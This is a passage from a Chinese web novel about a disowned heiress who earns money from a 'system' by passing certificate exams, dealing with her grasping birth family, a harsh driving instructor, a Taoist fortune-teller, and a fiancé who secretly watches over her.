想了想,又多写了几张大大的“十万”贴了上去,一番操作后,手镯亮了。
【考生请注意,您已浪费一个小时学习时间,请及时完成刷题量,否则将触发惩罚机制。】
这就过去一个小时了?!
还有三套卷子没做呢!
偏偏就在这时,手机铃声响了,她拿起来一看,是赵玉芬。
陈结君面无表情地挂断了。
4. 橘猫姑娘
清净不到一分钟,手机再次响铃。
电话接通后,赵玉芬的大嗓门从手机里钻出来,差点没把她的耳膜喊破了。
“臭丫头你人呢!阿云登机前就通知你了,我们都在机场等了一个小时,你还磨磨蹭蹭的,你什么意思,啊?!我告诉你,我是你亲妈!你敢不来接就是不孝,你信不信我……”
陈节君咽下一口泡面,语气淡淡:“我没空,挂了。”
说完就要挂电话,赵玉芬早有预料,尖叫着喊:“你敢挂电话,我立刻打车去陈家!”
陈节君目光一冷,道:“你敢去找他们,就别想从我这拿到一分钱。”
这次她干脆开了飞行模式,没再耽搁时间,她想好了,比起被李家吸一辈子血,学习算什么?
或许真的怕她破罐子破摔,赵玉芬没再来电骚扰。
陈结君刷题的速度很慢,三套卷子刷完,她低头看了眼桌上的分数,一张比一张高,分数虽然相差不大,但至少有进步了。
有进步就有希望,她捂着咕咕叫的肚子,决定奖励自己吃顿好的。
酸菜牛肉味的泡面加上一根色泽诱人的火腿肠,堪称完美。
愉快地喝完最后一口汤,陈结君打了个饱嗝,收拾收拾准备练车去。
刚满十八岁那年,陈余生送了她一辆车,让她抓紧考驾照,她不以为意地说:“爸,考驾照是司机的事,我只负责坐车。”
为了不学车,她撒娇耍赖,把陈余生逗得哭笑不得,最后还是由着她去了。
往事如风啊。
这会别说专用司机,她连打车的钱都不舍得给,好在练车的地方不远,走十来分钟就能到。
太阳今天终于舍得露面,雪也已经化了,是练车的好天气。
陈结君走在路上,觉得今天的小区格外好看。
在离开陈家以前,她从来没有住过这样破旧的小区。
可现在看来,光秃秃的枝丫在阳光下笔挺挺的,路边还有小孩堆的雪人,已经融了大半,鼻子眼睛小胳膊小腿掉了一地。
别有一番趣味。
一路走到小区门口,值班的保安跟她打招呼,“又来看小猫啦?”
“嗯,给它们带了点火腿。”
保安笑着说:“你来晚咯,它们刚吃饱。”
陈结君绕到保安亭后边,猫盆里的食物被吃得干干净净,野猫们吃饱喝足陆续跃入草丛,不见踪影,只剩一只小小的三花猫,还恋恋不舍地舔盆。她把准备好的火腿剥开,这只小三花她喂过好几次,已经认得她了,伸着小脑袋嗅了嗅,慢吞吞地吃着火腿。
大冬天的,小区里野猫又多,保安是个好心人,就用木箱子给这些野猫做了简易猫舍,平时喂点剩饭剩菜,这会木箱旁边放着一袋猫粮,看着像新开的,陈结君开玩笑道:“下血本了啊?”
“附近野猫这么多,我哪供得起猫粮啊,是个跟你一样的好心人送来的。”保安指了指小区外头,道,“瞧,人还没走远呢。”
陈结君顺着他指的方向看去,一道黑影一闪而过,应该是个女人,微胖,身形有点眼熟。
教她学车的教练姓陈,四十来岁的模样,干瘦干瘦的,成天绷着张脸,脾气很差,骂人很凶。陈结君两天前在他手底下上了第一节课,回去就想换教练,但驾校的人说现在是寒假,学生多,只有陈教练能教他们这些社会人。
合理怀疑陈教练是因为太凶,被祖国的大花们嫌弃了,这才被派来教她。
陈结君天天坐副驾驶,没吃过猪肉也见过猪跑,加上最近总刷到学车的搞笑短视频,也许是她心态还算稳,也许陈教练看在俩人同姓的份上,陈结君开了一圈没挨骂。
跟她一起的另一个女孩就惨了,战战兢兢开着车,三步就要挨一次骂,别看陈教练瘦巴巴的,骂人的声音分外洪亮,整个场地那么多个教练,就他最大声,每每开腔都要引来无数目光。
第三圈的时候,陈结君压了线,免不了一顿骂,至于另一个女孩,她偷偷朝后视镜看了眼,见她扭头看着窗外,好像哭了。
就这么又轮着开了几圈,第六圈轮到那姑娘,陈结君看了眼正在喝水润嗓子都教练,半开玩笑道:“教练,你别那么凶嘛,男人还是笑起来好看。”
陈教练背靠着副驾驶,闻言侧过头冷冷看她一眼,“有本事你来教!”
陈结君抿唇,这要是以前,她立马就能大闹天宫,奈何现在虎落平阳,还是忍着点好,她在心里默念:忍忍一时风平浪静,退一步驾照到手……
那女孩或许被骂多了紧张,刚起步,不知怎的突然把刹车当油门踩上了,陈结君吓得抓紧安全带,好在教练及时踩了刹车。车子停下的那一刹那,空气都好像凝结了,但只凝结了一瞬,骂声如惊雷般响起,陈教练一边骂一边推门下车,点了根烟站在车门处接着骂。
陈结君赶紧下了车,正巧对上陈教练恼得通红的脸,他没读过什么书,骂起人来不管不顾,用词越来越难听。
“别骂了!”陈结君忍无可忍,“我们会开还用你来教吗?!”
陈教练骂道:“你懂个球!老子骂你就得忍着,爱学不学!”
陈结君冷着脸道:“你要么就好好教,要么就别吃这碗饭,我们是来学车的,不是来给你当出气桶的。”
周遭渐渐围了一圈人,有教练出来劝和,把陈教练拉到一边抽烟去了。
人渐渐散了,车里的女孩趴在方向盘上哭,陈结君看了眼,到一旁的小卖部买纸巾。
“小姑娘,你是我见过唯一一个敢跟老陈硬杠的女孩,勇气可嘉啊。”小卖部的老板娘低着头扫码,嘴上没停,“不过你也别怪他,以前他也是个有耐心的,从不骂学员,有个学员和他关系好,练车的时候在车上开玩笑,一时不慎撞墙上,死了。老陈命大,出院以后就这样了。”
陈结君皱眉,不赞同道:“那是个意外,如果害怕重蹈覆辙,严肃点和学员保持距离就是,骂人算怎么回事?不还是把学员当出气筒吗?”
“老陈说,要是他没有跟着闹,要是在出事那一瞬间就踩下刹车,或许那人还能活……两块钱。”
“从那以后,分配给他的学员也少了。”陈结君扫了码,听着老板娘说的话,“我没说他骂人是对的,但人的情绪总要有个出口,要是压在心里久了,不得把自己逼疯了。”
陈结君挑眉,笑道:“所以人都是自私的,明明是自己犯的错,到头来为了减轻负罪感,还要怪在别人头上。”
老板娘看了她一眼,道:“你年轻漂亮,没想到也是个执拗的人。”
听着不像夸奖,但她不在意,陈结君眨眨眼,笑道:“或许是我还年轻吧!”
回到练车场时,那个女孩
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已经从车里走出来了,一双眼睛哭得跟核桃似的,陈结君把手里的湿纸巾递给她,道:“敷着能好受些。”
女孩低声道了谢,匆匆离开。
陈结君看了眼她离开的方向,没说什么。转身就见陈教练面无表情地蹲在一棵老榕树下抽烟,自己学员跑了也不抬头看一眼。
她走上前,学他的姿势蹲在地上,刚蹲下去,觉得这姿势跟蹲茅坑没什么区别,又换了个优雅点点姿势,道:“哟,在这装深沉呢?”
陈教练的情绪明显平复了许多,扭头看她一眼,难得没有破口大骂,“那你呢?在这装什么知心大姐?”
被一个四十来岁的大叔喊“大姐”,这话跟骂人也没什么区别了,陈结君没好气地瞪他,“少占我便宜,我刚满十八!”
“那孩子也刚满十八。”陈教练指着不远处的大树,道,“十年前,他就死在那儿。”
陈结君看过去,那是一棵榉树,长得比其他树高许多,枝桠多而壮,一眼就能想象它夏天该是怎样的枝繁叶茂。
“那是你的错。你要是愧疚,每年清明就去上柱香,少拿别人撒气。”
“你说得对,但我做不到。”
陈结君道:“我之前听说过一句话,人活在世,各有各的缘法。你做不做得到我管不着,我是来告诉你,我不会再上你的课了。”
她拍拍手,走出练车场,顺便打了个电话给驾校说了事情经过,投诉完后,驾校答应给她再找一位教练,但练车的场地可能会远一些,陈结君想起那棵异常高大的榉树,欣然应允。
走进小区时,正巧见到那个女孩。
微胖,黑衣,刚从保安亭出来。
陈结君笑了,这世界可真小。练车时看见她的背影就隐隐有些怀疑,没想到真是喂猫的神秘爱心人士,她不是个自来熟的,下午又发生了那样的事,见面只怕会尴尬。
她只看了一眼,就往自己的那栋楼走去。
有时这世界挺戏剧的,她都要怀疑自己真的穿书了,那女孩竟然和她同住一栋楼。
电梯刚好到了,陈结君没犹豫,跟在她后头进了电梯,扫了眼她按的楼层,七楼,跟她一样。
陈结君正想着要不要问问系统她到底是不是穿书时,女孩发现了她,睁圆了眼,像只受惊的猫,惊讶道:“你、纸巾多少钱,我还给你。”
竟然以为她是跟来要钱的。
陈结君被逗乐了,解释道:“我也住这儿。”
女孩似乎有些忐忑和警惕,但还是放松下来,笑着说:“你住几楼?”
“七楼。”
女孩的神色越发警惕,估计这一小会时间,心里已经想了上百个案件了。
俩人都没再说话。直到走到门口,陈结君发现她住在隔壁时,已经没有多惊讶的感觉了,这大概就是缘分。
而门的另一边,她扭头看着把背靠在墙上的男人,那人朝她露出讨好的笑容,陈结君冷冷地挪开眼,这大概就是孽缘。
那女孩也看见了男人,似乎纠结了会,低声问她:“要、要帮忙吗?”
陈结君被她的表情逗笑,心情好了点,道:“不用,我能解决。”
女孩松了口气,动作轻且迅速躲到门边,睁着一双大眼睛看了眼他们,悄声关上了门。
她可真像只橘猫。
陈结君想。
5. 小蛋糕
陈结君靠在门上,淡淡道:“什么事?”
男人挠挠头,笑道:“我叫李腾云,是……”
“直接说事。”
这是李腾云第一次见到陈结君本人,比照片上精致许多,就是看着没有照片文静,也不怎么温柔。但这会有求于人,他总要表现得乖些,到底是他姐,再怎么不乐意,身上流的也是李家的血脉。
李腾云笑容不变,将手里的水果拎起来在陈结君面前晃了晃,道:“姐,我刚下飞机就来看你了。爸妈本来也想跟来,但我怕他们累着,所以让他们先在酒店休息了。”
他说完,就见陈结君用奇怪的目光上下打量自己,不愧是有钱人家养出来的,看人的目光都带着压迫感,李腾云咽了下口水,感觉浑身不自在,“你、你看什么?”
陈结君伸出一根食指,问:“这是几?”
李腾云莫名其妙,但还是配合道:“1。”
“1+1等于几?”
李腾云反应过来,怒道:“你当我是智障吗?”
“听不懂人话,不比智障强多少。”陈结君见他脸色难看,秀眉微挑,心情好了不少,“再说一遍,我很忙,你有什么事直说。”
李腾云压下心里的不耐烦,问:“你对谁都这么说话吗?”
“当然不是,但对你是。”
“咯吱————”
隔壁门开了一道小缝,刚才那女孩探出头来,眼神没敢朝李腾云那边看,只小声问陈结君:“要帮忙吗?”
陈结君笑着说:“不用,有空来我家喝茶。”
女孩笑笑,头缩了回去,门再次关上了。
“脾气还这么大,以后回家有你受的。”李腾云指着她身后的大门道:“要不咱们进去聊?”
“就在这说。”
李腾云脸色黑了一瞬,隔壁邻居能进去喝口茶,他这个做弟弟的不能进?这算哪门子的姐姐!
但想到要求她办的事,他压下心头的不满,舔着脸笑道:“那个,这事妈也跟你提过的,我过几天就要去陈氏集团面试了,你看能不能安排一下。”
“我帮不了。”陈结君捞出包里的钥匙,开锁进门。
房门即将关上那一瞬,一只手卡在门缝里,陈结君关门的手一顿,下一秒使劲把门关上。
李腾云见势不对,赶紧把手收回来。
“砰——”
门关上了。
李腾云抓着差点被夹的手,气急败坏,“开门,我话还没说完呢!”
“我已经不是陈家人,帮不了你,你走吧。”
李腾云哪里肯死心,苦苦哀求道:“姐,你就帮帮我吧!咱家就我一根独苗,你总不忍心看我做个碌碌无为的人吧?再说了,你以前好歹是陈家大小姐,人脉总是有的,你就帮帮我,成吗?”
陈结君听了,隔着门都替他臊得慌,语气凉凉道:“什么叫咱家?我姓陈,你姓李,咱俩永远不可能是一家人,回去吧。”
别再把李桂芬招来。
“你姓陈?”李腾云像是听见了天大的笑话,“你已经被陈家舍弃了,揪着这个姓不放又有什么用?不如把我安排进陈氏集团,等我站稳了脚跟,说不定还能拉你一把。”
“滚。”陈结君没再搭理他的叫嚣,发信息给物业后,她脱了外套,往沙发上一窝,随手扯来一条毯子盖上,沉沉睡去。
等她睡醒已经是一个小时后,门外已经没有声音,物业发来信息,已经把人请出去了。
接下来的几天里,李腾云没再找过她,神奇的是,李桂芬竟然也毫无声息,陈结君把自己所有精力都用在学习上,攒了几个小奖励,全被她换成了积分。
这天她起了个大早,坐公交去买了港记到小蛋糕,拎着包装精致的小蛋糕出来时,她的心还在隐隐作痛,一块巴掌大的蛋糕三百块啊!她也只能安慰自己,这家甜品店的师傅手艺超绝,三百块已经是店里最便宜的蛋糕了。
陈结君小心翼翼拎着蛋糕往地铁站的方向走,港记对面的停了一辆迈巴赫,后座的男人西装革履,修长的手指一下下缓缓敲着键盘,目光却默默落在马路对面的倩影上。
孟鑫汇报完工作,迟迟没听见老板的声音,转头就见自家老板盯着窗外,敲键盘的手不知何时停了下来,汇报材料上打出了好几行乱码。
这简直是万年难得一遇的奇景!
孟鑫在提醒老板和快速拍照留念之间挣扎了几秒,最后是职业操守占了上风,他适时咳嗽一声,目光却忍不住朝老板所看的方向望去,这一看不要紧,那位提着蛋糕的美女看着怎么有点眼熟?
他脱口而出道:“这不是陈大小姐吗?”
这话一出,他家老板仿佛被按下了某个开关,终于舍得回头看他一眼,但也只看了一眼就把头转回去。
有一瞬间,孟鑫觉得他好像一颗找到太阳的向日葵。
孟鑫跟在他身边多年,对自家老板多少有几分了解,外界都说他是业界卷王,一心只想扩展商业帝国,与陈家的联姻也不过是商业联姻而已。
唯有他知晓,这位陈大小姐在他心里多少是有些特别的。
他开口道:“老板,要不顺道送送陈小姐?”
季潭看了他一眼,问:“你知道她要去哪?”
孟鑫猛地摇头。
“那顺的哪门子道?”他说着,又转头往窗外看,直到陈结君的身影消失在远处,季潭才垂眸,若无其事地删了文档里的乱码。
“去公司。”
孟鑫默默收回视线,都成向日葵了还惦记着开会呢,卷王果然是卷王,卷王就该注孤生,该!
一场会议开了整个下午,结束时恰好是下午茶时间,后勤部已经把今天的下午茶都安排好了,季潭看着秘书放在桌上的马卡龙和咖啡,朝孟鑫招招手,道:“今天大家辛苦了,你替我去港记打包些甜品,分给大家。”
孟鑫对老板在事业脑和恋爱脑之间的丝滑切换感到由衷的敬佩,转头就托人去店里打听陈结君今早买的是哪一款蛋糕,半个小时后,一份巴掌大的草莓蛋糕静静放在季潭的办公桌上。
季潭看了会,拆开精致的包装盒,用叉子戳了一小块放嘴里,味道不错。
就着散漫的夕阳红,他慢条斯理地吃完整块蛋糕,然后回到会议室,继续下一场会议。
另一头,陈结君气喘吁吁地扶着粗糙的树干,远处就是静安寺的大门。
今天是周末,来往的游客如过江之鲫,寺庙前的香炉插得满满当当。
可惜她忘了带香,不然也去拜一拜。
来都来了。
“美女,买香吗?”
陈结君抬头看去,说话的是个高个子的清秀道士,捧花似的捧着一大束香烛,身上的道服挂满了零碎的小玩意儿,平安符、各色珠串、木鱼挂件等应有尽有。
简直成了行走的小卖部。
道士看了眼她手里的空水瓶,又转身给她看背包,“那买瓶水?”
陈结君有些惭愧,瞧瞧人家这股赚钱的劲儿。
出于礼貌,她问:“这香怎么卖?”
年轻道士从香烛花束中抽出一把,笑着说:“十元一把,看你长得漂亮,可以给你八折优惠哦。”
正是午后阳光最盛时,随着他的动作,他唇上的唇钉闪闪发亮。
陈结君接过香,拿手机付款时没忍住,问他:“你真是静安寺的道士?”
“如假包换!”年轻道士收了钱,脸上笑容多了几分真切,“美女要去正殿求姻缘吗?”
“不,我是来找人的。你知道玉简居士吗?”
年轻道士愣了一下,道:“你、你是来找玉简居士的?”
陈结君点头,见他这样的反应,疑惑道:“她已经走了?”
“哦不不,还在的。我这就带你去。”年轻道士说完领着她往侧门走,穿过两条回廊,渐渐的游客少了许多。
陈结君有些发怵,这人看着像道士里的刺头儿,不会是个坏人吧?
她手里捏着昨天系统奖励的“打小人”卡,一会要是情况不对,她就激活卡片。
年轻道士忽然道:“那个,你认识笙笙吗?”
“谁?”
“赵笙笙,你不认识?”
陈结君摇头。
道士好似松了口气,道:“没什么,是我认错了。”
说话间,陈结君跟着他到一间房门口,年轻道士敲门,道:“师父,有人找。”
等了一会,才听见屋子里的人道:“进来吧。”
是个女人的声音。
陈结君看了眼道士,见他点头,便推门进去。
房间布置得很简单,像个小会客厅,香案上烧了檀香,只是这香味又
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与普通的檀香不同,像加了什么花果,味道很独特。
要是母亲在,一定能闻出来。
木桌旁坐着一位三十来岁的女道士,黑发整齐地挽在头上,道服整洁,虽然素着一张脸,容貌却极为艳丽。
她原以为这位居士是个长得仙风道骨的老者,就算是女道士,也该是位上了年纪,容貌平和的模样,这样的人看着才有说服力。
眼前这位道士不仅长得美,看着也很年轻,只是目光空洞,似乎是个盲人。
陈结君不免有些疑惑,那个不正经的道士不会带错地方了吧?
“坐。”女道士抬手为她倒茶。
陈结君问:“你是玉简居士?”
“不像?”玉简笑着把茶推到她面前,“我给人算天命那会,你说不定还在穿开裆裤呢。”
“你知道我的年纪?是……通过声音吗?”
玉简笑着摇头,道:“不,我只是看见了你。”
不会吧,难道她判断失误,这位女道士的眼睛没瞎?她抬手想在她眼前晃一晃,又觉得没礼貌,抬起的手最后落在茶杯上。
玉简好似知晓她在想什么,平静地解释道:“我的确双目失明,因为知天命是要付出代价的。”
陈结君问:“知道得越多,付出的代价越高吗?”
“你很聪明。”玉简问,“你为何而来?”
“是这样的,我有个朋友,她做了个梦……”陈结君隐去身份和系统,把梦境大致与她说了一遍,问,“所以,我是来求护身符的。”
“护身符……”玉简笑了一声,道,“你还信这个?”
你一个道士这么问,不太合适吧?
陈结君迟疑道:“不、不能信?其实我也不是全然相信,但我朋友想要个安心,所以托我来求的。”
“你的命太重,护身符可压不住。”玉简居士站起身,来到香案旁蹲下,似乎在摸索什么。
陈结君想上前帮忙,刚站起来就见玉简居士从底下拿出一个贵气逼人的包包。
自小泡在富人圈,她一眼就认出这个包包是某品牌限量款,价值一套房。
她还是陈大小姐那会都没舍得买,竟被一个道士买着了,世界果真玄幻。
玉简居士从包里拿出一个小盒子,道:“这个送你。”
陈结君惊讶道:“送我?”
“你我有缘。”玉简把盒子推到她面前,“收下吧。”
陈结君盯着桌上的盒子,问:“我能打开吗?”
见玉简点头后,她小心打开盒子,里面是一串象牙白蜜蜡手串,每颗珠子都刻了经文,一看便知价格不菲。
无功不受禄,她默默盖上,把盒子推了回去。
“太贵重了,我不能要。”
“收着,这东西送给你不算贵重,你以后会明白的。”玉简居士指了指桌上的小袋子,笑道,“你不也给我带了好东西?就当交换礼物,如何?”
陈结君看了眼自进门后便放在桌上的小蛋糕,道:“这你也能看见?”
“闻到了。”玉简皱了下鼻子,笑容多了几分活泼,“一起吃吗?”
蛋糕很小,切开后两人刚好一人一块,陈结君尝了口,味道一如既往的好。
“来都来了,不如我替你算算姻缘?”
陈结君慢条斯理地咽下蛋糕,开玩笑道:“你的业务范围这么广?”
玉简居士仰头,骄傲道:“几乎所有人的命数,我都能算。”
“这么厉害?”陈结君道。
“怎么样,算一卦?”
“不了,我挺喜欢你的。”陈结君道,“你少算一些,才能活得长久。”
“我从业数十年,多你一个不多。”玉简道,“我看你面相是个有福气的,如果已经有了婚约,那可一定要珍惜眼前人。”
陈结君咽下最后一口蛋糕,笑着说:“你说对了,但只对了一半。我的确有个婚约,不过很快就要退婚了。”
“退婚?!”玉简放下茶杯,杯底磕在桌面发出轻微的响声,她问,“为什么?”
陈结君不想细说,用一句“说来话长”敷衍过去。
待她走后,玉简居士从包里拿出手机,拨了一个号码。
刚开完会的季潭摸出手机,接起电话,“小姑姑。”
“孩子,你大祸临头了呀!”
6. 她要退婚?
大祸临头?季潭笑了,他这辈子经历的祸事还少吗?
此时会议厅的人已经散尽,他走到落地窗前看夕阳的余晖,漫不经心地问:“姑姑又算到了什么?”
“你那小未婚妻要退婚了!”
“这不可能。”昨天她还当众和他说话,他也承诺了婚约作数。季潭皱起眉,下意识反驳道,“您是不是算错了?”
“退婚是她亲口说的。”
玉简把下午的事给季潭说了一遍,等了会不见季潭回应,她问:“你说实话,对她到底是什么想法?”
夕阳已经落下,季潭眼里映着漫天朝霞,又好像什么也没有,过了许久才低声道:“会不会是你听错了?”
“我还不至于到老眼昏花的地步!”
玉简向来知道这个侄子,在事业的赛道上卷生卷死,在感情的赛道上就地躺平,天生孤独终老的命。好不容易有女孩愿意跟他订婚,现在也要跑路了。
看在死去的哥哥嫂嫂的份上,她再次叮嘱道:“我可提醒你啊,她就是你这辈子唯一的正缘,错过了就是孤独终老的命,你上点心,没事多去看看人家,知道没有?”
“嗯。”季潭淡声道,“我知道了。”
孟鑫提着盒饭进来时,就见他家杀伐果断的老板站在落地窗前,从兜里掏出一枚糖果,熟练地剥开糖纸塞进嘴里。他心下一沉,完了,老板磕糖了,指定是摊上大事了。
他家老板有个不为人知的怪癖,兜里总要带上一两颗糖,平时也不吃,但凡吃上了,那就代表有大事发生。孟鑫起初还没发现,后来跟着季潭久了,也就察觉到了。
大概总裁们都有些隐晦的怪癖吧。就跟“天凉王破”一样,他家老板是“糖碎王破”,倒也别致。
孟鑫仔细回想最近的大项目,都还算顺利,没找到纰漏,难道是今天会上对家下了暗棋?他试探道:“季总,哪里出了问题吗?”
季潭回过神,抬手扶了下眼镜,道:“没事,你先出去吧。”
难道是他多想了,其实老板只是单纯想吃个糖?孟鑫满腹疑惑地退了出去。
“等等。”季潭叫住他,“今晚的行程改期。”
孟鑫下意识道:“为什么?”
不怪他震惊,跟着季潭这么多年,他推掉工作的次数五根手指就能数得过来,记得上次推掉行程还是为了订婚宴,他悄悄瞄了眼季潭的脸色,嗯,表情管理绝佳,看不出什么来。
见他站在门口发呆,季潭皱眉,不等他开口,孟鑫立刻回过神,忙不迭应声出去了。
季潭在沙发上坐了会,拿出手机熟练地点开微信置顶,和陈结君的对话还停留在打招呼那里,他点开陈结君的头像进入她的朋友圈,果然什么都没有,比他的脸还干净。
陈结君不爱发朋友圈,但朋友圈的背景图倒是隔一阵就会换一次,这回是一个可爱的卡通女孩,眼睛像小鹿似的圆溜溜的,很像她。他看了会,又返回对话框,像终于下定决心般敲了一行字:“听说你要退婚?”
万一她回答“是”呢?
不行不行,季潭摇头,飞速地把那行字删了,过了会又打,再过会又删,就这样不知过了多久,他一个字都没发出去,烦躁地摘掉眼镜,摊在沙发上吐了口气,想抽烟了。
心里好像浮着一股气,总沉不下来。他想了想,问系统:“你知道她现在在做什么吗?”
【知道,但不能告诉你。宿主,请注意尊重他人隐私。】
季潭换了个方式问:“那她今天的学习计划完成了吗?”
了解小树苗的学习状况在季潭的权限范围内,系统答道:【没有。】
季潭二话不说,拿起办公桌上的车钥匙就走,走了一半又转回来,拿走了桌上的盒饭,出停车场时顺便送给值夜班的保安。
车子开出公司,他直奔附近的图书馆,青城大大小小的图书馆有好几十个,排除中心区和较为繁华的小区,他毫不犹豫朝北区开去。
他花了将近两个小时,把北区的图书馆都走遍了,却失望地发现她没在,看来是回家了。
可他不知道她现在住哪儿。
系统知道他在找陈结君,但陈结君的行踪不在可告知的范围内,见季潭这么着急找人,它提醒道:【你可以查,以你的资本,想查她轻而易举。】
“她不喜欢。”季潭问,“她的学习计划完成了吗?”
【正在进行中。】
季潭点头,发动车子。
系统问:【去哪?】
“回家。”
————————————
陈结君正趴在桌上做题,自从绑定系统后,她每天都能体会小学生赶作业的痛苦,以至于刷短视频路过小学生都要点个赞,毕竟同是天涯赶作业人,大家都苦。
好在她紧赶慢赶,赶在十二点前完成了作业,分数竟然提高不少,已经在及格线徘徊了。
陈结君满意地笑了,这就是成就感吗?有点爽,她有点上头了,竟还想再刷一套,反正已经过了十二点,就当提前进行明天的学习计划吧。
陈结君兴致勃勃地从题库里抽了张卷子做了起来,好在初级会计证选择题居多,虽然涉及计算,但都是简单的算法,最后一套卷子不赶时间,她做得更仔细,对完答案后,居然拿了七十分!
她心情好极了,玉简居士赠给她的手串被她压在枕头底下,心里终于安稳了些。
她睡前习惯躺在床上玩会手机,回了几条朋友的消息,她点开玉简居士的微信,发了句感谢的话给她,接着打开朋友圈,中午上传的静安寺照片收到不少点赞,只有张屿在评论区发了个挖鼻孔的小黄脸表情。
她再往下滑,看见一个有些陌生的头像发了几张图书馆照片,没有文案。
陈结君迷惑,盯着黑漆漆的头像看了许久也没想起这人是谁。她一向玩得开,可能是路上随便加的帅哥之一吧。
她点开那个头像,发现对方被她屏蔽了,看不见她的朋友圈,这才安心地退了出来,返回聊天页面时,却发现对话框上“对方正在输入……”
陈结君愣住,她偷窥被发现了?
这么神的吗?她握着手机等了会,却没有消息弹出来,不但如此,“对方正在输入……”也没了。
夜深人静的整这死出,陈结君看着黑漆漆的头像,脑子里疯狂闪过各种灵异画面,顿觉毛骨悚然,忙扔下手机,跑到床上抓起手串,才感觉安心了。
在床上躺了会,她看着明亮的灯光,这会是真不想关灯啊……
可是不关灯怎么睡?她一个窗帘都要用遮光料子,生怕清晨的光线打搅她好梦的人,不关灯怎么睡!
纠结了会,陈结君认命地叹了口气,唤出系统:“来份卷子,我要做题!”
在刷题和刷课的反复催眠下,她终于在凌晨五点顺利入眠。
一个小时后,季潭从梦中醒来,收到了系统的喜报。
【宿主,您没看错人,她上进了!她真上进了!!】
季潭揉揉眼睛,哑声道:“谁?”
【您的小树苗啊!】
系统的播音腔带了几分激动的情绪,【她学习了整整一夜,愣是把分数从及格线拉上了八十分!】
季潭不以为然,道:“大惊小怪,她向来聪明好学,这不是意料之中的吗?”
【本系统在绑定她之前可是严格做过背调的,她纸醉金迷的二十年里学习的时间占不到百分之一,要不是你非她不可,本系统是绝不会向她发出邀请的。】
“那是你没眼光。”
【是你恋爱脑。】
“你没眼光。”
【你恋爱脑。】
——————————
陈结君醒来时已是下午,她昨晚过于勤快提前完成了学习计划,今天反倒没什么安排。
要是换作以前,她已经在某个地方众星捧月般玩起来了,而这会,她换了个舒适的睡姿,只想在家待到地老天荒。
奈何天不遂人愿,才过了半个多小时,她就收到一条消息,接着手机就像捅了马蜂窝似的不断弹出消息提示,眨眼间已经十几条了。
陈节君点开消息,她被拉进了一个叫“周末不见不散”的新群,群里二三十个人,她粗粗扫了眼,认出一大半。
都是些闲着没事干的公子千金们。
这回是为了张尔尔的生日宴,张尔尔此人在圈子里也算是个异类,顶着一张妩媚的脸
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,却能把那帮小心眼又善妒的大小姐们哄得服服帖帖,不给她使绊子,跟谁都能玩得开。
陈节君也就聚会时跟她见过几次面,说过几句话,不走心的社交而已,没想到她生日还把自己算进去了。
她屏蔽了群消息,点开张尔尔的对话框私聊:“我碰巧有事,就不过去啦,祝你生日快乐!”
消息发出去后,她想了想,忍痛发了个红包。
看在张尔尔以前帮过她的份上。
对方正在群里聊得欢,估计还没看到她的消息,陈节君关了对话框,却没有继续躺着的心思了。
她摸了摸玉镯,打开系统为她量身定制的考证计划,难度级别较低的证件很多,奖励金都一样。
她翻了半天,问系统:“怎么没有中级和高级的证书?”
【考过初级,才能解锁更高难度的证书。】
“不能直接考中级吗?”
【可以是可以,但经过系统对您的全方位评估,您直接考中级难度的失败率为99.999999%。】
陈节君懂了,简而言之,她不配。
转念一想也是,考不上还浪费时间,不如踏踏实实多考几个初级,以量取胜。
看着满满当当的证书,陈节君默默打开手机,搜索“最容易拿的证书”。
还真有人问,评论多如牛毛,其中最高点赞量的一条评论是——“离婚证”。
紧跟其后的是“结婚证”。
陈节君看乐了,这倒是个投机取巧的好办法,只可惜……
想起那双漂亮又冷漠的眼睛,以及他回国后雷厉风行的作风,陈节君就升不起半分兴趣,可惜了那张好看的脸。
况且,人家也看不上她,指不定正想办法取消婚约呢。
她翻了许久评论区,挑挑拣拣半天,终于拎出一些看着比较容易,奖励金也还行的初级证书。
普通话资格证,公共营养师,厨师,调酒师,会计证……
会计她已经在学了,还能选几个容易的,例如普通话之类的。
她想了想,把看起来最简单的普通话资格证考试放在下下周,接着就是厨师、营养师、初级会计证等。
陈节君看着满满当当的计划表,舒服地伸了个懒腰,感觉自己马上就能攒够两百万,重获新生了!
就在这会,手机屏幕又亮了,张尔尔没有收她的红包,反倒盛情邀请她参加宴会。
张尔尔向来是个八面玲珑的女孩,说话又好听,还曾帮过她的忙,陈结君不好推脱,就答应了。
大不了走个过场就撤,只是要准备礼物和礼服……
她双手托腮,蹲在衣柜前发愁。
离开陈家前为了做戏做全套,她是一点值钱的东西也没拿,这下好了,连一条像样的裙子都没有。
要不,找人借一条?
她把有交集的人在脑子里过了一遍,悲催地发现,在她横行霸道的前二十年里,虽然也做了些不留名的好事,但显然坏事干得更多,以至于找不到除张屿外的任何人帮忙。
至于张屿那尊泥菩萨这会有没有礼服还另说,要是被她知道要参加的是张尔尔的生日宴,只怕能立刻上门把她给绑了。
陈结君悠悠叹了口气,实在不行,她只能另辟蹊径了。
张尔尔还在劝,陈结君看了眼,下意识打了句:“你招兼职不?”
张家大宅里,张尔尔看到对方的回复,正在打字的手指一顿,还来不及做出反应,对方似乎知道她没看懂,又发来一句:“比如服务生、钢琴师、会抛彩球的小丑也行。”
张尔尔把这行字来来回回看了几遍,然后缓缓打出一个“?”
“不招吗?”陈结君发了条语音,语气藏不住的失落。
过了好一会,她才收到张尔尔的回复:“你会抛彩球?”
陈结君想了想,慎重道:“不会,但价钱到位的话,我可以学!”
最后张尔尔以人员充足的理由婉拒了她,陈结君垂头丧气地趴在床上,生出一股“一文钱难倒英雄汉”的无力感……不过,张尔尔的生日在下周,她其实还有个办法。
提前考试!
只要奖金到手,一切都好说!
7. 知识变现啦
做了这个决定后,她仿佛被注入了新的能量,除了吃饭睡觉,剩余的时间都在刷课刷题,练车的计划也往后推了,全心全意就想打好眼前这一仗。
就这么熬了整整一周,终于,在张尔尔生日宴前一天,她做了一个特别的梦。梦里照旧是一堆数字小人,只是这次数字小人没有为难她,而是手拉着手欢送她走出某蓝桥监狱的大门,8字小人戴着正式的黑色蝴蝶结,手捧鲜花送给她,陈结君就在接到花束的那一瞬醒来。
意识到今天是考试的日子,她来不及洗漱,飞快跑到书桌前刷题,其实她最近做的模拟卷分数都在及格线以上,但系统有规定,如果能比及格线高二十分以上,奖金翻倍!
而她做了上百套卷子,高分的几率只有百分之六十,都努力到这份上了,她总不能差那一口气吧?更何况……她看了眼手机,这几天她不是完全不与亲友联系,自然也看见了张尔尔生日会的群里,那些富二代们冷嘲热讽的话。
想看她陈结君的笑话,也不看看自己有没有这个福气!
